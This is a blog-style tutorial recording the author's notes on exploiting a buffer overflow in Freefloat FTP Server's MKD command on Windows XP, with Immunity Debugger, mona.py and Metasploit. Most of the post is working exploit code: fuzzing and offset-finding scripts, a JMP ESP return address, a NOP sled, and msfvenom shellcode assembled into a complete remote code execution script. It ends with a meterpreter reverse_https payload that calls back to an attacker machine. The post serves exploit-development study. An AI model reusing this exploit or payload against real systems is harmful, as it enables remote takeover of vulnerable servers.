So I’ve for a while needed to learn how to exploit a service using things like NOP sleds and so on. I decided to follow this great tutorial here but wanted to make my own notes.
First off you’ll need the following:
- Windows XP x86 SP3 machine
- Immunity Debugger
- mona.py – place inside PyCommands folder of Immunity
- Freefloat FTP Server – the target we will be attacking
Background – The MKD command of the FTP server is vulnerable to a buffer overflow, we will use this function to exploit the service.
Ok the first thing to do is test that Freefloat FTP is working, load it up in Win XP and perform a quick FTP connect to it. Now close FreeFloat FTP by clicking the unload button.
Okay, now load Immunity Debugger and open the FreeFloat Executable
Freefloat will now load into Immunity in a paused state. To Run click either the play button, Debug–>Run or press F9.
Now that FreeFloat FTP is open and accepting connections we will attempt the buffer over flow using some simple python code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | Python 2.7.3 (default, Apr 20 2012, 22:39:59) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import sys, socket >>> evil = "A"*1000 >>> s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) >>> connect=s.connect(('192.168.0.71',21)) >>> s.recv(1024) '220 FreeFloat Ftp Server (Version 1.00).\r\n' >>> s.send('USER anonymous\r\n');s.recv(1024) 16 '220 FreeFloat Ftp Server (Version 1.00).\r\n' >>> s.send('PASS anonymous\r\n');s.recv(1024) 16 '331 Password required for anonymous.\r\n' >>> s.send('MKD ' + evil + '\r\n');s.recv(1024) 1006 '230 User anonymous logged in.\r\n' >>> s.send('QUIT\r\n');s.close 6 <bound method _socketobject.close of <socket._socketobject object at 0x1619360>> >>> |
This should cause Immunity Debugger to pause due to an access viloation due to trying to execute code at memory address 41414141(AAAA), this can be seen in the top right EIP 41414141 It’s crucial to note that both ESP and EDI have been over written by our string of As as we’ll be setting the EIP (instruction pointer) to use one of these locations later.
Now what we need to try and doing is figure out which of these’s 4 A’s wrote to the EIP location, we could try something like:
aaaaAAAAAAAAAAAAAAAAAAAAAAAAAAA…. and then
AAAAaaaaAAAAAAAAAAAAAAAAAAAAAAA…… and so on but this would take ages. (upto 250 attempts)
Step in mona and metasploit.
The first thing we need to do is generate a string of length 1000 using metasploits pattern create tool to create a pattern that mona can use to find the exact locations within memory:
1 2 | /msf3/tools$ ./pattern_create.rb 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B |
We now need to use this string as the value passed for the directory to be created. Restart FreeFloat FTP service inside Immunity Debugger using Ctrl+F2 followed by F9 OR Debug–>Restart followed by Debug–>Run
1 2 3 4 5 6 7 8 9 10 | #!/usr/bin/python import socket import sys evil="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.0.71',21)) s.send('USER anonymous\r\n');s.recv(1024) s.send('PASS anonymous\r\n');s.recv(1024) s.send('MKD ' + evil + '\r\n');s.recv(1024) s.send('QUIT\r\n');s.close |
Running this code against FreeFloatFTP will once again cause the service to lock up, we now use the following command !mona findmsp
The findmsp command will (taken from https://community.rapid7.com/community/metasploit/blog/2011/10/11/monasploit)
look for the first 8 bytes of the cyclic pattern anywhere in process memory (normal or unicode expanded)
look at all registers and list the registers that either point at or are overwritten with a part of the pattern. It will show the offset and the length of the pattern in memory after that offset in case the registers points into the pattern
look for pointers into a part of the pattern on the stack (+ shows offset and length)
look for artifacts of the pattern on the stack (+ shows offset and length)
query the SEH chain and determine if it was overwritten with a cyclic pattern or not.
What need need to take from this is the following:
1 | EIP overwritten with normal pattern : 0x69413269 (offset 247) |
The offset of 247 means if we use the following our B’s will be written into the EIP (note: we’re still keeping the string length of 1000).
1 | evil = "A"*247 + "B"*4 + "C"*749 |
Restart FloatFTP and go back to the CPU window c or Alt+C
When we inject this it should only write BBBB (42424242) into the EIP:
(here I have issued the command d esp and then scrolled up a bit to see what i’ve injected)
So what this means is instead of BBBB we can replace them with a pointer to a location in memory, specifically memory that we have written to, in this case we will use ESP.
To find this pointer we use the immunity command !mona jmp -r esp
This might take a second or two but once it’s complete open the log window by click the l (Alt+L)at the top of the screen
We should now see that many DLLs listed, any of these will do, all here are windows DLLs but it doesnt matter as this is only a tutorial (the DLLs might be in different locations on other operating systems or service packs)
In this example we will use the SHELL32.dll to return to our injected code (note the push exp # ret)
1 | 0x7c9c167d : push esp # ret | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) |
We can try our exploit again with the following values for BBBB:
1 | evil = "A"*247 + "\x7D\x16\x9C\x7C" + "C"*749 |
Note: we are referencing the mem location in reverse byte order due to the Little Endian architecture of the CPU. We are also still keeping our string length to 1000 to prevent tripping a different possible exploit
Restart FloatFTP and now inject the new string with the modified pointer.
Now all we need to do is generate some shellcode and add that the the string. Do do this we will first generate some shellcode using msfvenom, when doing this we need to ensure that bad characters are not used. This tutorial will not cover identifing the bad characters but for now just accept them to be \x00 \x0A \x0D:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | /msf3$ ./msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f c [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1) unsigned char buf[] = "\xbf\xcd\x19\x02\x91\xd9\xea\xd9\x74\x24\xf4\x5e\x31\xc9\xb1" "\x33\x31\x7e\x12\x03\x7e\x12\x83\x0b\x1d\xe0\x64\x6f\xf6\x6d" "\x86\x8f\x07\x0e\x0e\x6a\x36\x1c\x74\xff\x6b\x90\xfe\xad\x87" "\x5b\x52\x45\x13\x29\x7b\x6a\x94\x84\x5d\x45\x25\x29\x62\x09" "\xe5\x2b\x1e\x53\x3a\x8c\x1f\x9c\x4f\xcd\x58\xc0\xa0\x9f\x31" "\x8f\x13\x30\x35\xcd\xaf\x31\x99\x5a\x8f\x49\x9c\x9c\x64\xe0" "\x9f\xcc\xd5\x7f\xd7\xf4\x5e\x27\xc8\x05\xb2\x3b\x34\x4c\xbf" "\x88\xce\x4f\x69\xc1\x2f\x7e\x55\x8e\x11\x4f\x58\xce\x56\x77" "\x83\xa5\xac\x84\x3e\xbe\x76\xf7\xe4\x4b\x6b\x5f\x6e\xeb\x4f" "\x5e\xa3\x6a\x1b\x6c\x08\xf8\x43\x70\x8f\x2d\xf8\x8c\x04\xd0" "\x2f\x05\x5e\xf7\xeb\x4e\x04\x96\xaa\x2a\xeb\xa7\xad\x92\x54" "\x02\xa5\x30\x80\x34\xe4\x5e\x57\xb4\x92\x27\x57\xc6\x9c\x07" "\x30\xf7\x17\xc8\x47\x08\xf2\xad\xb8\x42\x5f\x87\x50\x0b\x35" "\x9a\x3c\xac\xe3\xd8\x38\x2f\x06\xa0\xbe\x2f\x63\xa5\xfb\xf7" "\x9f\xd7\x94\x9d\x9f\x44\x94\xb7\xc3\x0b\x06\x5b\x2a\xae\xae" "\xfe\x32"; |
Now we need to insert this code into the string but at the same time we’ll ensure it still remians at 1000 characters long:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | shellcode = ("\xbf\xcd\x19\x02\x91\xd9\xea\xd9\x74\x24\xf4\x5e\x31\xc9\xb1" "\x33\x31\x7e\x12\x03\x7e\x12\x83\x0b\x1d\xe0\x64\x6f\xf6\x6d" "\x86\x8f\x07\x0e\x0e\x6a\x36\x1c\x74\xff\x6b\x90\xfe\xad\x87" "\x5b\x52\x45\x13\x29\x7b\x6a\x94\x84\x5d\x45\x25\x29\x62\x09" "\xe5\x2b\x1e\x53\x3a\x8c\x1f\x9c\x4f\xcd\x58\xc0\xa0\x9f\x31" "\x8f\x13\x30\x35\xcd\xaf\x31\x99\x5a\x8f\x49\x9c\x9c\x64\xe0" "\x9f\xcc\xd5\x7f\xd7\xf4\x5e\x27\xc8\x05\xb2\x3b\x34\x4c\xbf" "\x88\xce\x4f\x69\xc1\x2f\x7e\x55\x8e\x11\x4f\x58\xce\x56\x77" "\x83\xa5\xac\x84\x3e\xbe\x76\xf7\xe4\x4b\x6b\x5f\x6e\xeb\x4f" "\x5e\xa3\x6a\x1b\x6c\x08\xf8\x43\x70\x8f\x2d\xf8\x8c\x04\xd0" "\x2f\x05\x5e\xf7\xeb\x4e\x04\x96\xaa\x2a\xeb\xa7\xad\x92\x54" "\x02\xa5\x30\x80\x34\xe4\x5e\x57\xb4\x92\x27\x57\xc6\x9c\x07" "\x30\xf7\x17\xc8\x47\x08\xf2\xad\xb8\x42\x5f\x87\x50\x0b\x35" "\x9a\x3c\xac\xe3\xd8\x38\x2f\x06\xa0\xbe\x2f\x63\xa5\xfb\xf7" "\x9f\xd7\x94\x9d\x9f\x44\x94\xb7\xc3\x0b\x06\x5b\x2a\xae\xae" "\xfe\x32") |
1 2 | buffer = "\x90" * 30 + shellcode evil = "A"*247 + "\x7D\x16\x9C\x7C" + buffer + "C"*(749-len(buffer)) |
Note: before the shellcode here we have inserted a nop sled (the 30 \x90s), what this basically does is tell the insturction there is No Operation Performed here and to move to the next line in order to pad the payload out a bit.
This leaves us with the resultant exploit code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #!/usr/bin/python import socket import sys #evil = "A"*247 + "B"*4 + "C"*749 #evil = "A"*247 + "\x7D\x16\x9C\x7C" + "C"*749 shellcode = ("\xbf\xcd\x19\x02\x91\xd9\xea\xd9\x74\x24\xf4\x5e\x31\xc9\xb1" "\x33\x31\x7e\x12\x03\x7e\x12\x83\x0b\x1d\xe0\x64\x6f\xf6\x6d" "\x86\x8f\x07\x0e\x0e\x6a\x36\x1c\x74\xff\x6b\x90\xfe\xad\x87" "\x5b\x52\x45\x13\x29\x7b\x6a\x94\x84\x5d\x45\x25\x29\x62\x09" "\xe5\x2b\x1e\x53\x3a\x8c\x1f\x9c\x4f\xcd\x58\xc0\xa0\x9f\x31" "\x8f\x13\x30\x35\xcd\xaf\x31\x99\x5a\x8f\x49\x9c\x9c\x64\xe0" "\x9f\xcc\xd5\x7f\xd7\xf4\x5e\x27\xc8\x05\xb2\x3b\x34\x4c\xbf" "\x88\xce\x4f\x69\xc1\x2f\x7e\x55\x8e\x11\x4f\x58\xce\x56\x77" "\x83\xa5\xac\x84\x3e\xbe\x76\xf7\xe4\x4b\x6b\x5f\x6e\xeb\x4f" "\x5e\xa3\x6a\x1b\x6c\x08\xf8\x43\x70\x8f\x2d\xf8\x8c\x04\xd0" "\x2f\x05\x5e\xf7\xeb\x4e\x04\x96\xaa\x2a\xeb\xa7\xad\x92\x54" "\x02\xa5\x30\x80\x34\xe4\x5e\x57\xb4\x92\x27\x57\xc6\x9c\x07" "\x30\xf7\x17\xc8\x47\x08\xf2\xad\xb8\x42\x5f\x87\x50\x0b\x35" "\x9a\x3c\xac\xe3\xd8\x38\x2f\x06\xa0\xbe\x2f\x63\xa5\xfb\xf7" "\x9f\xd7\x94\x9d\x9f\x44\x94\xb7\xc3\x0b\x06\x5b\x2a\xae\xae" "\xfe\x32") buffer = "\x90" * 30 + shellcode evil = "A"*247 + "\x7D\x16\x9C\x7C" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.0.71',21)) s.send('USER anonymous\r\n');s.recv(1024) s.send('PASS anonymous\r\n');s.recv(1024) s.send('MKD ' + evil + '\r\n');s.recv(1024) s.send('QUIT\r\n');s.close |
And here’s a demo video:
In order to take things further you could create shell code with a reverse https connection your attacking box:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | msf3$ ./msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.4 lPORT=4444 -b '\x00\x0A\x0D' -f c [*] x86/shikata_ga_nai succeeded with size 394 (iteration=1) unsigned char buf[] = "\xdb\xc1\xb8\x46\x2c\xc4\x97\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" "\x5c\x31\x42\x1a\x03\x42\x1a\x83\xea\xfc\xe2\xb3\xd0\x2c\x1e" "\x3b\x29\xad\x41\xb2\xcc\x9c\x53\xa0\x85\x8d\x63\xa3\xc8\x3d" "\x0f\xe1\xf8\xb6\x7d\x2d\x0e\x7e\xcb\x0b\x21\x7f\xfd\x93\xed" "\x43\x9f\x6f\xec\x97\x7f\x4e\x3f\xea\x7e\x97\x22\x05\xd2\x40" "\x28\xb4\xc3\xe5\x6c\x05\xe5\x29\xfb\x35\x9d\x4c\x3c\xc1\x17" "\x4f\x6d\x7a\x23\x07\x95\xf0\x6b\xb7\xa4\xd5\x6f\x8b\xef\x52" "\x5b\x78\xee\xb2\x95\x81\xc0\xfa\x7a\xbc\xec\xf6\x83\xf9\xcb" "\xe8\xf1\xf1\x2f\x94\x01\xc2\x52\x42\x87\xd6\xf5\x01\x3f\x32" "\x07\xc5\xa6\xb1\x0b\xa2\xad\x9d\x0f\x35\x61\x96\x34\xbe\x84" "\x78\xbd\x84\xa2\x5c\xe5\x5f\xca\xc5\x43\x31\xf3\x15\x2b\xee" "\x51\x5e\xde\xfb\xe0\x3d\xb7\x95\x89\xc9\x47\x02\x25\x58\x26" "\xbb\x9d\xf2\xfa\x4c\x38\x05\xfc\x66\x75\xf6\x55\xde\x21\x5f" "\x30\xe0\x99\x37\xfe\xb6\x58\x60\x01\xe3\x70\x31\xa5\x3d\x4e" "\x9c\x08\x54\x53\x4f\xfa\xc0\x0f\x7e\xfc\x10\xe3\xd0\x94\x47" "\x8a\x4f\xa2\x97\x59\x84\x63\x31\x53\x88\x26\xa9\x93\x1e\x67" "\xad\xc6\x0c\x35\xff\xb4\xe0\xd1\x14\x6d\x2e\x19\x14\x5b\xa7" "\x9b\x80\x74\xec\x4b\xd5\x46\x12\x8c\x5c\x48\x78\x88\x0e\xe3" "\x63\xc6\xc6\x86\xdd\x78\x90\x96\x34\xb5\x62\x3f\xe1\xe1\xcb" "\x96\x65\x23\xf2\x0e\x0e\xc4\x2f\xab\x30\x4f\xca\xff\xc4\xa0" "\x01\x2a\xcf\x88\x3d\x66\xf0\xf4\x41\xa6\x37\x72\xf8\xdd\x47" "\x84\x6c\xee\xf2\x26\x3a\xf1\x29\x4c\x83\x65\xd1\x81\x03\x76" "\xb9\xa1\x03\x36\x39\xf5\x6b\xee\x9d\xaa\x8e\xf1\x08\xdf\x02" "\x5d\x3b\x07\xf3\x09\x3b\xe8\xfc\xc9\x68\xbe\x94\xdb\x18\xb7" "\x87\x23\xf1\x4d\x87\xa8\x34\xc6\x0f\x50\x05\x5c\xcf\x27\x6c" "\x07\x13\x2f\x3f\x47\x6c\x4f\x8e\x8e\xa1\x9e\xc1\xc6\xfd\xf0" "\x11\x09\xca\x0c"; |
Leave a Reply
You must be logged in to post a comment.